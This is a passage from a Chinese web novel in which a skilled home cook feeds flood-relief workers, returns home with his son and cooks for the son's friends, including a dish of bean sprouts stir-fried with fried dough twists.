说实话，在场好多人现在已经到了往地上一躺，就能直接睡着的地步，但任务没有完成，别说睡觉，就是多休息会也不行。 水已经喝过，喝也唱过，鼓励的话队长更是说得嘴皮子要干了，他边用铲子铲淤泥，边再次开口：“还有一个小时不到就吃晚饭了，你们猜菜晚上有什么好吃的？” “我猜有红烧排骨！” “上次那个鱼烧的特别香，我还想吃鱼！” “我想吃酸辣土豆丝！” “我也想吃红烧排骨，或者啤酒鸭也行。” 提起晚餐，所有人瞬间打起点精神来，纷纷说出自己想吃的菜。 他们边干活边期待晚餐时，后勤保障中心里同样没闲着，米饭已经蒸出来好多，几口大锅更是从三点多就开始炒菜。 楚易文先炖了满满三大锅红烧肉，趁着肉在锅里炖着时，又开始切黄瓜。 原本切菜是有不少大娘们帮忙的，但他今天要做蓑衣黄瓜，一般人还真没这个刀工。 “妈呀，你这刀工真是绝了！我切普通黄瓜片都没你那么快。” 看到楚易文刷刷刷就将一根黄瓜切成蓑衣黄瓜，旁边有人直接朝他伸出大拇指。 所谓蓑衣黄瓜，就是将整根黄瓜切成连绵不断，像弹簧一样能拉开的薄片，是道特别考验刀工的菜。他之前在系统厨房学时，都不知道切了多少根黄瓜，如今虽然没有老爷子那么夸张，能闭上眼睛盲切，但技术和速度都绝对没得说。 本地媒体过来拍摄时，就看到他切黄瓜的场景，不由将镜头对准过来，拍了一会后才上前采访。 楚易文边回应问题，手机切菜动作依旧快速，看得人心里又佩服又紧张，都有点害怕他切到手。 一盆黄瓜切好，他先撒上盐抓均匀，进行初步腌制，随即才继续开始切黄瓜。 最后一盆黄瓜切完时，前面的黄瓜已经用盐杀好水分，楚易文将黄瓜多余水分挤出来，撒上蒜末、小米辣、干辣椒、一丢丢花椒，用热油淋上去激发香味后，又将用生抽、香醋、糖等调料调成的料汁淋上去。 热油上去时蒜香与辣味就瞬间被激发出来，和黄瓜本身的清香融合在一起，等到酱汁淋上去，那股香味中又添了几分酸香、酱香，闻着就很开胃。 蓑衣黄瓜做好，还要在汤里泡会才会更入味，但那清爽的卖相，诱人的香味，却是引得好多人都忍不住凑过来看。 “这个做起来简单，你们想吃可以尝尝。”楚易文看到一帮人围着蓑衣黄瓜露出垂涎欲滴的表情，觉得又不是什么稀罕玩意，真不至于。 听到他这么说，大家你看我我看你，最终还是过来拍视频的媒体工作人员最先忍不住，道谢后从盆里夹了条黄瓜出来。 “哇……” 发现整根黄瓜被切成连绵不断的薄片，用筷子夹起来拉成好长一条却不会断，周围人不由发出感叹声。 蓑衣黄瓜香味很有层次感，随着盆里黄瓜被夹起来，清新水润的黄瓜香与热油激发的复合香味扑鼻而来，配上醋的蒜香，闻起来清爽又开胃。 用筷子夹断两片送进嘴里，经过盐腌制的黄瓜口感变得格外脆爽，咀嚼间带着新鲜黄瓜没有的韧劲，酱汁的咸鲜和食材本身的清爽相融合，咀嚼间辣椒的香味、花椒的微麻、蒜香味依次在味蕾上蔓延开来。 “好吃！脆中带韧，酸甜咸辣，吃起来清爽又开胃，感觉要是放到冰箱里冷藏一下，肯定更加美味！” 媒体工作人员尝完，大家不再客气，直接将整根黄瓜给分掉，吃得直点头。 “厨王就是厨王，一个凉拌黄瓜都能做出花来。” “又好看又好吃，吃得我胃口都被打开了。” “我以前在酒店吃过蓑衣黄瓜，感觉没有今天的好吃。” “这菜开胃，他们肯定喜欢。” 大家品尝着爽脆开胃的蓑衣黄瓜赞不绝口时，旁边三口大锅里炖的红烧肉香味越来越浓郁。 其实夏天时，很多人都不爱吃太荤，觉得油腻没胃口。但此时闻着那股霸道的肉香，本来就被蓑衣黄瓜吃开胃的人都不自觉咽口水，光闻香味就好像看到那一块块被炖得晶莹剔透，夹起来皮肉还会轻颤的红烧肉。 “你烧的菜也太馋人了。” 有人受不住，对楚易文说完就赶紧走远点，免得忍不住掀开锅盖偷吃。 楚易文闻着笑了一下，见还有时间，干脆再做点蓑衣黄瓜，省得不够吃。 等他又切出不少蓑衣黄瓜时，红烧肉那股肉香越来越浓郁，他估计已经炖得差不多，走到灶台前掀开锅盖，一股热气伴随着更加霸道的香味扑面而来。 浓郁的肉香混着焦糖香气，酱香和香料的复合香味紧随其后，组成一股令人垂涎欲滴的气息。 看到红烧肉做好，周围人自发端着盆过来帮忙打菜。随着肉从锅里打出来，那如琥珀般漂亮的油亮色泽，肥肉部分轻轻颤动的诱惑，简直能馋死个人。 如今条件好了，红烧肉绝对是家家户户都能吃得上的美食，但此时此刻，在场的人却是望着盆里的红烧肉，纷纷露出眼馋的表情。 “这红烧肉炖的简直了！颜色真是漂亮！” “是啊，看着就感觉好吃。” “太馋人了！” 红烧肉肥肉部分晶莹剔透，瘦肉部分吸收酱汁变成酱红色，整体看起来油润有光泽，不怪大家都夸它漂亮。 打菜过程中，大家简直强忍着才没把红烧肉往自己嘴里塞，但闻着那股霸道肉香，肚子却是咕咕叫个不停。 不过馋归馋，想到救灾人员晚上又能吃顿好饭，大家心里还是高兴更多些。 “哎呦，怎么掉地上了，这么好的肉……” 有人不小心把一块红烧肉掉地上，简直恨不得打自己手两下，结果旁边有个青年直接把肉捡起来塞嘴里：“没事，掉地上三秒还能吃，没浪费……唔，这肉炖得真香！而且一点都不油腻……” 看到他反应那么快，周围人又无语又好笑，甚至他伯母直接开口打趣，说他跟家里的大黄一样馋。 青年脸皮是真厚，听到伯母拿自己跟家里养的狗比，咽下嘴里香喷喷的红烧肉道：“大黄反应可比我快多了，得亏它不在，不然掉在地上的都算它的。” 小插曲过后，大家继续加快速度打包盒饭，红烧肉可以跟饭一起装进餐盒里，至于蓑衣黄瓜这种凉拌菜，由于汤比较多，被单独用盒子打包。 等到楚易文闲不住地又做出两盆蓑衣黄瓜时，第一批盒饭已经被开车送出去。 塘下街。 “晚饭来了！” 有人眼尖看到送饭的车，本来已经累得不行，此时却是瞬间恢复点精神。 “太好了，可以吃饭了，不知道晚上有什么好吃的。” 救灾人员们简单洗把脸，无视裤子上的泥巴直接去排队领晚餐。 “今晚有红烧肉和蓑衣黄瓜。” 晚餐肯定不止两个菜，但自从楚易文过来后，送餐员们都默契地只报他做的菜。 “蓑衣黄瓜是什么黄瓜？” “我知道，就是整根黄瓜切薄片的那种，我之前吃过。” 很快大家全部领到盒饭，由于蓑衣黄瓜是几人分一份，他们都选择先吃开胃凉菜。 光闻见那股带着酸辣味的清爽黄瓜香时，大家已经感觉有点开胃，等真吃进嘴里，那爽脆，那酸中带辣，辣中带咸，咸中还微微回甜的滋味，简直别提多美味。 “你慢点吃。” “别抢啊！” 吃着吃着，大家就忍不住抢起来，直到把整盒黄瓜吃完才罢休。吃完清爽开胃的蓑衣黄瓜，恢复食欲的救灾人员们感觉自己能吃下一头牛。 “唔，你们快尝尝红烧肉，太好吃了，又香又美味，而且一点都不腻。” 红烧肉瘦肉部分被炖得特别酥烂，但吃起来却是烂而不柴，肉皮部分软糯弹牙，那种胶质感越嚼越香，肉皮底下的肥肉多余油脂被炖出来，吃起来肥而不腻，入口即化。 甜咸适中的红烧肉简直就是人间美味，哪用人提醒，在打开餐盒后，大家都不约而同先朝它下筷子。 有人还稍微克制点，吃两块红烧肉就开始扒米饭和其他菜，然后再咬红烧肉。 “真是绝了！怎么会有这么想的红烧肉！” 红烧肉楚易文之前就没少做，到现在已经算是他的拿手好菜之一，火候和调味都达到完美的地步，谁吃谁都会惊艳。 正是由于太好吃，有人没忍住，一口接一口，等反应过来时，碗里红烧肉已经全部进肚子。 他舔着嘴唇回味着嘴里的余味，有点后悔吃那么快，随即只能用米饭将剩下的红烧肉汤仔细拌均匀，再配上剩下的菜一起吃。 汤汁里吸收肉的精华，拌进饭里让米饭染上晶莹的油光，吃起来肉香浓郁，带上红烧肉的咸甜味。 前面他们还忍不住感叹两句，到后面全部都埋头苦吃，别说红烧肉汤，甚至连蓑衣黄瓜的汤汁都没浪费，被大家拿去拌饭吃。 当天晚上，本地媒体发布的最新视频里，不光有后勤保障中心的画面，还有救灾人员们清淤和吃饭的内容。 【哇，这厨子刀工真好，是从五星级酒店请过来的吧？】 【不是，都这种时候了，用得着做这么花里胡哨的菜吗？黄瓜直接切片不行吗？】 【不懂就别乱说，人家是外地来的，本来只是过来捐物资，发现救灾人员累到吃不下饭，才主动留下来帮忙。】 【你知道救灾人员有多累吗？让他们吃点好的怎么就花里胡哨了？再说，人家切菜的速度耽误事了吗？】 【本地人表示，厨王的事你少管！】 【厨王是什么鬼？那个切蓑衣黄瓜的吗？你们给他封的厨王。】 【我说他看起来怎么那么眼熟，我知道为啥喊他厨王了，人家可是名副其实拿过奖牌的［分享视频］】有之前在景区参与“厨王争霸赛”的人认出楚易文，分享视频。 【哈哈哈哈，原来竟然是真厨王，真是失敬失敬，好吧，不笑了，说实话我挺佩服他的，愿意给灾区捐物资就算了，竟然还留下来帮忙。】 【救灾人员们好辛苦啊，那么热的天，我出去走一会就受不了，他们还得从早忙到晚。】 【看到前面他们疲倦的模样，我眼泪都快下来，看到饭点时瞬间精神起来，差点又把我逗笑，其实他们年纪也不大，却已经扛起重担。】 【哇，前面只看到蓑衣黄瓜，没想到还有红烧肉，看起来好香啊！】 【他们吃饭也太香了，把我都看饿了……】 【我也好想吃红烧肉和蓑衣黄瓜，真是隔着屏幕都感受到红烧肉的香，蓑衣黄瓜的清脆。】 视频传开后，楚易文很快就接到朋友吴有健打过来的电话，问他什么时候跑到桐县去。 得知他是带儿子出去旅游，原本计划去桐县玩，桐县洪灾后干脆过去帮忙，吴有健心里有些佩服，不过…… “你什么时候会做饭了？还做得那么好？有手艺故意瞒着兄弟不说是吧？” “谁瞒着你了，上次约饭时我不是提过让你来家里吃，你自己不肯。”楚易文道。 吴有健：“那你又没说是你做。” “我哪没说，明明是你自己不信我会做饭。” 楚易文他打电话时，隔壁床上楚瑾钰正在群里跟叶其林他们聊天。 胡一齐【你小子不是去旅游吗？怎么突然跑灾区去了？】 叶其林【你跟楚爸在那边还好吧？】 商时贸【你去灾区怎么也不说一声，我们还是在网上刷到视频才知道。】 最近这几天不光楚易文忙，楚瑾钰也跟着干了不少活，甚至成为后勤保障中心的孩子王，不管是和他年纪相仿的还是比他小的，都被他领着，他一时还真没想起来老家的小伙伴们。 当然，他肯定不会说实话，只表示自己在后勤中心帮忙，每天累得倒头就睡，忘记跟他们说。 叶其林三人没多想，纷纷转账给他，让他代捐给灾区。 胡一齐【那你们准备什么时候回来？】 【应该过两天就回去。】楚瑾钰打字回复。 桐县内已经清理得差不多，明天第一批救援队伍就要离开，接下来就是重建工作。楚瑾钰他们父子二人毕竟不是本地人，不可能一直待在这，因此过两天就离开。 胡一齐【是回云市还是继续去旅游？】 【直接回家。】 得知他们很快就要回云市，叶其林三人都很高兴，尤其是胡一齐，表示他再过几天也要从妈妈家离开，正好回去就能直接蹭饭。 楚瑾钰无语道【我爸在这里做饭都要累死了，回去你就不能让他歇几天，真是一点都不知道心疼人。】 看得出来，经过这次旅游，父子间关系明显更加亲近，他现在都知道心疼人。 第59章 豆芽炒撒子 正如楚瑾钰跟叶其林他们说的一样, 继续在桐县帮两天忙后，他和他爸准备回家。 要走的前天晚上，父子二人在桐县好好逛了逛, 此时县内虽然还没恢复到洪灾前的景象，但淤泥已经被清理干净，一切都在向着好的方面发展。 次日早上，楚易文本来想趁着天气比较凉爽早点带着儿子离开，没想到等他准备开车时，却是来了不少本地人相送，有很多都是之前一起在后勤中心帮忙的人。 “不用, 从这里回家开车要几天，实在不方便带。” “谢谢谢谢，真不用, 太客气了。” 本地人实在太热情，手里基本没空着，拿着各种特产要送给他们, 感谢他们这些日子对桐县的帮助。 父子二人各种推辞，最终只收下一点路上能吃的水果, 以及手工艺品，至于什么鸡鸭鱼肉，这么热的天，车都要被闷臭。听到这个理由, 大家有点遗憾，不过倒是没再硬塞。 终于开车从桐县离开，楚瑾钰坐在副驾驶上吃着已经洗过的李子，开口夸道：“这李子真甜，不像之前在家里买的, 酸得要命。” “他们这的李子确实又甜又脆……” 人在做过好事后，心情会不自觉变好，楚易文闻着从副驾驶飘过来的李子清香，脸上始终带着淡淡笑容。 中午到服务站休息时，楚瑾钰吃水果都吃饱了，不是很有胃口吃饭。 楚易文是真拿他没办法，买点面包牛奶留给他下午饿时吃，自己搞了份盒饭吃。 “爸你真牛。”楚瑾钰坐在旁边看他爸吃得还挺香，忍不住说。 楚易文带着几分莫名其妙抬头：“怎么了？” “明明你厨艺那么好，竟然还不挑食。”楚瑾钰望着他面前和自己学校食堂半斤八两的菜色，心里是真佩服。 楚易文笑了下没说什么，旁边却忽然有人指着他道：“我认识你！你是不是那个……厨王，对桐县厨王！” 被人在大庭广众下称呼为“厨王”，楚易文是真有点尴尬，不过面上倒还算淡定，跟人点头打招呼。 “合个影吧。” 见有人找他爸合影，等在服务站休息完重新开车上路时，楚瑾钰忍不住打趣道：“爸，你现在是真的火了，出门可得注意……” “过段时间就没人记得了。” 父子二人全程闲聊，路上倒是没那么枯燥，偶尔晚上住酒店时，还会出去逛逛夜市，给叶其林他们买了不少小礼物。 到家前一天，楚易文就联系平常给他家干保洁的阿姨提前去搞卫生，等父子二人到家时，家里已经是干干净净。 “还是家里舒服……” 楚瑾钰换好拖鞋就直接躺在客厅沙发上，感觉外面好玩归好玩，但也挺累，还是躺在家里最舒服。 他已经躺下来，楚易文还在整理东西，出发时就一个行李箱，回来时后备箱都被塞满，甚至车座上都堆着不少袋子。 胡一齐比他们前一天回云市，得知他们已经到家，半个多小时后就拉着叶其林他们一起过来。 “你们来了。” 看到朋友上门，楚瑾钰都不想动弹，还是余光瞟到茶几上几个大袋子时才终于坐起来，开口招呼：“来来来，尝尝这个撒子，我特意给你们买的。” 所谓撒子，是种油炸面食，细细的面条被扭在一起，散发出油炸特有的焦香。 胡一齐伸手拿起份撒子吃起来，香香脆脆，味道还不错。 “多吃点。”三人开吃后，楚瑾钰一个劲招呼，恨不得他们能把茶几上撒子吃完。 胡一齐：“这玩意香是香，但吃多了有点腻，你没事买那么多干嘛？” “我吃不动了，要吃你自己吃。”叶其林摆手道。 至于商时贸，他本身就比较怕油腻，刚刚吃几口就停下来。 楚易文把行李收拾好出来，听到这话不由替自家儿子解释：“他是看到人家老爷子大热天还在路口卖撒子，就全给买了，没事，你们不用硬撑，等晚上我拿豆芽炒给你们尝尝，保准好吃。” “这东西还能炒豆芽？”胡一齐光听着就觉得稀奇，不过出于对他手艺的信任，立刻就期待起来。 商时贸：“楚爸，你们刚回来也挺累，晚上我们还是出去吃吧。” “对啊，要是刚回来就让你做饭，楚瑾钰该说我们不知道心疼人了。”叶其林笑嘻嘻打趣。 楚瑾钰听到这话，抬脚就想踹他，却被他立刻躲开。 现在已经下午三点多，家里什么菜都没有，楚易文想着这个点也没什么新鲜菜买，于是道：“那晚上先出去吃，等明天我再给你们做豆芽炒撒子。” 豆芽炒撒子是他刚收获的菜谱，如果晚饭做，他还得回房间学一下，明天做的话就不用那么急。 出去吃饭前，楚瑾钰拿出自己在景区获得的那把木剑炫耀起来，炫耀完才将给他们买的礼物送出去。 接下来，四人边折腾那些小玩意边分享自己前段时间的暑假生活，直到太阳落山，楚易文提醒他们出去吃饭时，他们还没聊完。 楚易文在高中时心里只有学习，并没有交到特别好的朋友，某方面来说，他读书时其实有点像邵言易。看到儿子和朋友们打打闹闹，好像有说不完的话，他发自内心为儿子感到高兴。 由于几个孩子说想吃火锅，楚易文直接开车去了上次吃过的火锅店，有他负责把握每样食材的火候，楚瑾钰他们根本不用担心肉会煮老，吃得那叫一个舒服。 “楚爸你自己也吃。” “对啊，楚爸你多吃点，出去一趟你都瘦了。” 楚瑾钰闻言下意识转头看向他爸，怎么看都没看出来瘦：“哪瘦了？” 胡一齐白他一眼：“你天天跟楚爸在一起，当然看不出来。” 说说闹闹间，愉快的火锅结束，见几个孩子依旧有说不完的话，楚易文干脆将人全带回家，留他们晚上在家里住。 次日。 自从不用去公司上班后，楚易文已经习惯早睡早起的作息，今天依旧是七点不到就起床。 路过儿子房间，听见里面静悄悄，他不用猜就知道，几个孩子凑在一起，昨晚肯定又熬夜打游戏去，摇摇头就悄声离开。 家里没什么菜，他在厨房转一圈，干脆直接出门买菜去，等他买完菜回家，家里依旧安安静静。 估计几个孩子会直接睡到中午去，已经在外面吃完早餐的楚易文干脆回书房剪视频去。之前在桐县，他做大锅菜时拍了点素材，正好粉丝们都在催更，干脆剪一下发出去。 【终于更新了，我等你等到花都谢了。】 【哇，一段时间不见，你都做上大锅菜了？为啥这大锅菜看起来也这么诱人？】 【你承接宴席不？我家下个月要办寿宴，接的话可以给个价格吗？】 【博主，桐县那个厨王是你对吧？我当然刷到时就感觉声音特别熟悉！】 【对比了一下，还真是！桐县本地人向博主表示感谢。】 楚易文剪视频时只留下食材和锅，没想到就这网友还能发现，简直无话可说。不过左右也不是什么坏事，他大概扫两眼评论区就关掉视频，起身从书房离开。 现在已经快十点，见儿子房间里还没动静，楚易文都有点犹豫要不要去敲门，不过最终还是看在昨天才回来的份上，决定让儿子多睡会。 在客厅看了会电视，直到十点半时，他起身进入厨房开始准备午餐。 由于昨天胡一齐说馋他做的红烧排骨，楚易文早上特意买了不少肋排回来。午餐他准备做红烧排骨、油焖大虾、土豆烧鸡、香菇青菜、豆芽炒撒子、番茄鸡蛋汤。 将要用的食材该洗洗，该切切，一切准备就绪，他先将米淘洗好，将饭蒸上，随即正式开始做菜。 剁好的猪肋排先焯水去腥，随即开始炒糖色，很快诱人的焦糖香就从锅里飘出来。在桐县做了几天大锅菜，现在回家用小锅炒，对楚易文来说简直不要太轻松。 随着红烧排骨盖上盖子开始小火慢炖时，带着焦糖气息与酱香的浓郁肉香渐渐从锅里飘出来，从厨房飘到客厅，又顺着客厅蔓延开来。 “好吃……” 房间里，胡一齐不知道是不是闻见味，忽然砸吧着嘴开始说梦话，商时贸被他吵醒，怕他把口水流自己身上，直接将他往旁边推去。 胡一齐被推醒后直接坐起来，闻着空气里若有似无的香味开口：“吃饭了吗？” 见他眼睛都还没睁开就惦记着吃饭，商时贸被他逗笑。 “吃你个大头鬼。”楚瑾钰还有点困，听到他嚷嚷声没好气地骂了句，随即卷着空调被翻个身继续睡。 叶其林被他们吵醒，打着哈欠坐起来，摸到手机点开，发现已经十一点多，不由开口：“还真到饭点了，楚爸说不定已经开始做饭。” 本来坐起来人还没完全清醒的胡一齐听到这话，眼睛瞬间就睁开，起身直接将门打开，立刻闻到浓郁肉香。 “是红烧排骨！” 闻出炖排骨香，他瞬间就精神起来，赶紧去洗漱。 等胡一齐到厨房时，何止红烧排骨，土豆烧鸡也做上，那浓郁的肉香，馋得他口水都快下来。 几个孩子估计是真饿了，闻着香味全摸到厨房来，在楚易文开口让他们把撒子掰断成六厘米左右时，他们边掰边往嘴里塞。 闻着肉香，嚼着香脆的撒子，胡一齐有种越吃越饿的感觉，已经迫不及待想吃午餐。 “先吃点红烧排骨垫垫肚子。” 红烧排骨出锅后，楚易文直接盛了一碗递给他们，同时将他们掰好的撒子放到台面上备用。 在发现盘子里撒子的长度几乎没太大区别时，他笑着道：“你们掰的真均匀，跟用尺子量的一样。” 叶其林：“不掰好看点，感觉都对不起楚爸你的厨艺。” 胡一齐已经迫不及待塞块红烧排骨进嘴，此时没工夫说话，便只一个劲点头。 刚出锅的红烧排骨有点烫，不过吃起来特别香，收干的汤汁均匀挂在排骨上，一口咬下去，咸中带甜，甜中带鲜。带点肥肉的肋排经过炖煮，多余油脂全被炖出来，吃进嘴里口感丰腴却不腻，瘦肉部分更是酥烂入味。 胡一齐他们在抢红烧排骨吃时，楚易文已经开始做油焖大虾。 调料在锅里爆出香味，处理干净的新鲜大虾直接倒进去，大火快速翻炒，大虾颜色很快就变红。随着楚易文用锅铲轻轻碾压虾头，虾脑融入油中形成漂亮的红油，同时一股诱人的鲜味源源不断飘出来。 虾鲜味和肉鲜不同，跟肉鲜的霸道比起来，虾鲜味更加悠长，闻见这股鲜味，就像是被羽毛拂过心口一样，抓心挠肺地想吃。 油焖大虾开始收汁时，土豆烧鸡已经可以出锅，楚易文前后将这两道菜盛出来，将锅洗干净，先把番茄炒蛋做出来。 番茄鸡蛋汤酸甜开胃，很适合这个季节喝，而且做起来更是简单快速。将汤做好倒进汤盆中，楚易文又快速炒个香菇青菜后，终于可以做豆芽炒撒子。 这道菜吃的就是豆芽的爽脆和撒子的酥香，做法简单，但想做好吃，还是需要点技术含量。 起锅烧油后，他将干辣椒、姜、蒜在锅里爆香，爆完把炒焦的姜夹出来丢掉，随即倒入豆芽。大火快炒下，豆芽开始变软，边缘处甚至开始变透明，豆芽特有的香味逐渐飘出来。 少许生抽沿着锅边淋上去，加入盐和蒜苗快速翻炒几下后，楚易文将撒子倒入锅中，随即又将香醋顺着锅边淋上去，醋在高温下发出“嗤啦”一声，醋香味瞬间被激发出来。 在倒入撒子、淋醋、快速翻炒这几步时，他动作特别快，整个过程不到半分钟就立刻关火。 等到豆芽炒撒子出锅时，撒子均匀裹上汤汁，吸收味道的同时依旧保持食材本身的香脆。 “好了，可以吃饭了。” 楚易文话落，早就饿了的几个孩子立刻行动起来，盛饭的盛饭，端菜的端菜，两分钟后就都坐到餐桌上。 “哇，没想到撒子竟然真能做菜，看起来还挺香！楚爸，这该不会是你发明的菜吧？”胡一齐望着那盘豆芽炒撒子，觉得卖相是真诱人。 晶莹剔透的豆芽和金灿灿的撒子夹杂在一起，两种颜色看着就很漂亮，再配上蒜苗的绿色，干辣椒的红色，整道菜颜色鲜亮，看着就特别有食欲。 “不是我发明的新菜，这道菜得趁撒子没有软赶紧吃。” 楚易文话落，胡一齐他们立刻握着筷子就伸向这道以前从来没吃过的豆芽炒撒子。 豆芽的清香中混着干辣椒、姜、蒜的香味，配上撒子的焦香以及醋的酸香，整体闻起来特别开胃。 等到菜入口，豆芽爽脆多汁，撒子表面吸收菜汤变得微微湿润，同时沾染上汤汁的咸鲜和醋的酸香，但由于炒的时间短，它内里依旧保持着食材本身的酥脆，整体口感特别有反差。 撒子是油炸食品，直接吃时容易油腻，此时配上豆芽炒出来，豆芽的清香和醋的酸香中和那股油腻，让它吃起来简直有点上瘾。 “这个豆芽炒撒子好好吃啊！豆芽脆脆的，撒子也脆脆的！”胡一齐越吃越喜欢，又夹了一大筷子。 豆芽的脆是蔬菜的清脆，撒子则是油炸的酥脆，两种不同的脆交织在一起，越吃越香，越吃越美味。 何止胡一齐喜欢，楚瑾钰他们同样吃得有些停不下来。 醋的酸香是整道菜的灵魂，它中和撒子的油腻，又完美地和生抽与盐的咸鲜相融合，配上豆芽的清甜，吃起来又开胃，还回味无穷。 更美妙的是，豆芽炒撒子刚出锅时，撒子口感特别脆，随着汤汁开始浸入内部，撒子从香脆变得带几分绵软。可以说这道菜吃起来，几乎每口都能尝到不同的滋味，但都特别好吃。 不知不觉间几个孩子就将那盘豆芽炒撒子吃掉大半，吃得他们食欲完全被打开。 “爸，这个豆芽炒撒子好好吃。”楚瑾钰夸完又有点小得意，“还好我买了那么多撒子，还能吃好几顿。” 胡一齐难得赞同他的话，夸道：“确实好吃，你终于买对一回东西。” 被豆芽炒撒子吃开胃，接下来他们大口扒饭，大口吃菜，吃得那叫一个香。 “还是楚爸你做的虾好吃！”叶其林吃着鲜嫩弹牙的油焖大虾，越吃越喜欢。 他家条件不错，饭桌上从来不缺鱼虾，但阿姨做的虾，味道不错归不错，总感觉差点味道，他每次吃两只就不想吃。而此时，望着桌上色香味俱全的油焖大虾，他感觉自己一个人就能吃完整盘。 楚易文做的油焖大虾火候把握得特别好，虾肉多一分则老，少一分则太嫩，鲜嫩紧致的口感配上绝佳的调味，谁能不爱吃。 胡一齐咽下嘴里的红烧排骨就赶紧夹虾，边吃边道：“楚爸，还是你做的饭最好吃，我妈什么都好，就是没学到我外婆的手艺，还好她现在找的这个叔叔也会做饭……” “你妈找新对象了？对方人怎么样？” 楚易文倒不是八卦，主要是关心胡一齐。他知道这孩子跟爸爸关系不怎么样，担心妈妈有新对象后孩子两边都靠不上。 “还行，反正比我爸强，至少在家会做饭，会做家务。”胡一齐咬着油焖大虾，看起来对他妈找对象这事似乎并不在意。 楚易文想要问问那人对他怎么样，不过最终还是将话咽回去，看他暑假过到一半就回来便不难猜，哪怕对方对他还不错，孩子毕竟已经那么大，跟对方相处大概不会太自在。 “晚上想吃什么？”他干脆直接转移话题。 楚瑾钰：“爸，晚上可以还做豆芽炒撒子吗？我喜欢吃这个。” “我想吃蜜汁鸡翅！”胡一齐听到可以点菜，立刻积极开口。 楚易文点头应下，随即又看向商时贸和叶其林。 叶其林表示想吃孜然牛肉，商时贸则是说出道令楚瑾钰他们侧目的菜。 “你说什么？苦瓜酿肉？你认真的吗？” 商时贸：“就是有点想吃，不行吗？” 其实他以前也不爱吃苦瓜，但多吃几次苦瓜酿肉后，不知道为什么忽然就爱上这种味道，好久不吃还有点想。 楚易文见自家儿子大惊小怪，开口道：“天气热，吃点苦瓜挺好的，清热降火。” 午餐还没吃完，晚饭的菜色已经定好，几个孩子都挺高兴。不过等吃完饭，楚易文提起暑假作业时，他们瞬间都笑不出来。 “瑾钰他作业一点都没做，你们都做多少了？” 出去旅游时，楚易文特意让楚瑾钰把暑假作业带上，结果他是半点都不愿意做。 胡一齐和叶其林三人你看我，我看你，最终还是商时贸开口表示他做了一部分。 他说完，胡一齐带着几分小心虚道：“我语文写了一点，其他的还没做。” “我也差不多。”叶其林说得更加含糊。 暑假才过去一半，商时贸说做了点楚瑾钰还信，至于叶其林和胡一齐，他眼神里透着怀疑。 第二天，三人带着暑假作业过来时，楚瑾钰立刻就去翻胡一齐的语文作业。 “就写了两个字，你也好意思说自己做了？” 胡一齐理不直气还壮：“我是说我写了一点，你就说，两个字算不算一点？” 楚瑾钰严重怀疑这两个字都是他昨天晚上回去写的，直接拎着作业道：“我去问问我爸，看他觉得算不算。” “别啊，你少破坏我在楚爸心里的形象。”胡一齐赶紧伸手阻拦。 说起来也挺神奇，明明楚易文在面对他们时脾气向来很温和，但几个孩子在他面前时，却是一个比一个乖，甚至不愿意让他有不好的印象。 两个人打打闹闹，直到楚易文洗完水果从厨房出来，他们才瞬间消停下来，回各自位置上坐好，握着笔一副认真写作业的模样。 第60章 香辣蟹 放暑假很愉快, 做暑假作业就不是那么愉快了，尤其是楚瑾钰他们九月份开学就要升高三，各科老师布置的作业都不少, 写起来更是痛苦。 连着在家写半个月作业后，楚瑾钰实在有点受不了，只后悔没在旅游时随手找地方把暑假作业丢掉。 胡一齐：“切，你以为丢掉就不用写了？楚爸肯定会重新帮你打印。” 楚瑾钰哪不知道，只是说出来爽一下而已，见他非要戳破自己，斜眼看他。 “看我干嘛, 你当我想写作业啊！”胡一齐比他还不爱写作业，说完就冒出个主意，“要不你去跟你爸说, 说晚上你们来我家住，然后咱们一起找个电竞酒店通宵去。” 倒不是说楚易文不让他们玩游戏，实际上他们只要每天写作业, 楚易文并不限制他们干什么，只是孩子在家长面前, 多少有些放不开。 感觉最近几天日子过得太健康，都没有熬夜，胡一齐有点想去电竞酒店玩一下。 楚瑾钰：“我说怕我爸不肯，你去说。” “我不好意思说。”胡一齐说完看向叶其林, “你去跟楚爸说。” 胡一齐倒不是脸皮薄，他不好意思说主要还是平常在楚易文面前装乖装多了，现在在他面前撒谎容易心虚。 叶其林：“楚爸跟我爸加了好友的，他要是给我爸发个消息就直接穿帮了，让商时贸说去。” 他们四个都不缺零花钱, 什么网咖、电竞酒店、电玩城之类的地方，以前经常玩，商时贸其实对去电竞酒店兴趣没那么大，但见他们都想去，还是接下这个担子。 不过他却并没有撒谎，而是在晚饭后直接开口：“楚爸，我们晚上可以去电竞酒店住吗？” 楚易文闻言，第一反应是为什么要去电竞酒店住，不过想到这个年纪的孩子爱玩，爱自由很正常，将到嘴边的反问咽下去，点头道：“行啊，明天早上要回来吃早餐吗？” 他想到几个孩子最近天天在家做暑假作业，觉得劳逸结合，出去玩一下不是什么大问题。至于家里有地方住还非要出去住，他觉得孩子既然想去，必然有他们想去的原因，还是别太扫兴。 楚瑾钰没想到他爸那么好说话：“那我真去了……” “你去吧，身上还有钱吗？我给点转点。”楚易文想到他之前将攒的压岁钱都捐给桐县，说话的同时就直接转账过去。 十几分钟后，楚瑾钰四人从小区里出来，步伐透着欢快，像是出笼的小鸟一样带着满满活力。 “你爸真好，让你出来住就算了，还给钱……” “那是因为他知道我身上没什么钱了。” 四人聊着天，很快就打车来到电竞酒店，进门就直接开机打游戏。好久没像这样开个电竞包房排排坐打游戏，楚瑾钰还挺怀念，玩得那叫一个激动。 打游戏时间过得特别快，不知不觉就已经十点多，在家里这个时间都已经算晚，得开始准备睡觉。但在电竞酒店，十点才是夜生活的开始。 “有点饿了，要不整点烧烤啤酒来？”胡一齐提议。 “你看着点。”楚瑾钰说完忽然反应过来，“你怎么忽然想喝酒了？” 胡一齐没回答，而是说：“整点菠萝啤，这玩意没度数，跟小饮料一样。” 很快，烧烤被送过来，闻起来倒是还挺香，不过楚瑾钰随手拿起根牛肉串咬上去就直接开口：“没我爸烤的好吃。” “凑合吃吧，外面做的手艺肯定没有楚爸那么好。” 四人边打游戏边来点小烧烤，胡一齐更是几瓶菠萝啤放到手边，时不时就要喝几口。 凌晨三点时，商时贸最先松开鼠标道：“不打了，有点困，你们继续玩。” 听到他说不打了，其他三人也都不想玩了，于是纷纷起身躺床上去。 好久没熬夜，四人还有点小不适应，此时困归困，偏偏又睡不着。胡一齐躺在床上翻来覆去，最终开口道：“睡不着，聊会天呗。” “聊啥？”楚瑾钰睁开眼问。 胡一齐：“要是你们妈妈再嫁，你们同意吗？” “问我这个问题，你是有点讨打了。”楚瑾钰想到自己从出生就没见过的母亲，声音里透着几分没好气。 至于说提起这个话题难受，小时候或许会有些，现在他倒是还好。 